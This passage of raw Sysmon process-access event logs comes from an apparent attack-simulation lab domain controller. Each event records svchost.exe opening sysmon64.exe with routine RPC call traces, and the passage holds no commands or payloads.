C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1275,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1276,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1277,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1278,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1279,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1280,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1281,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1282,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 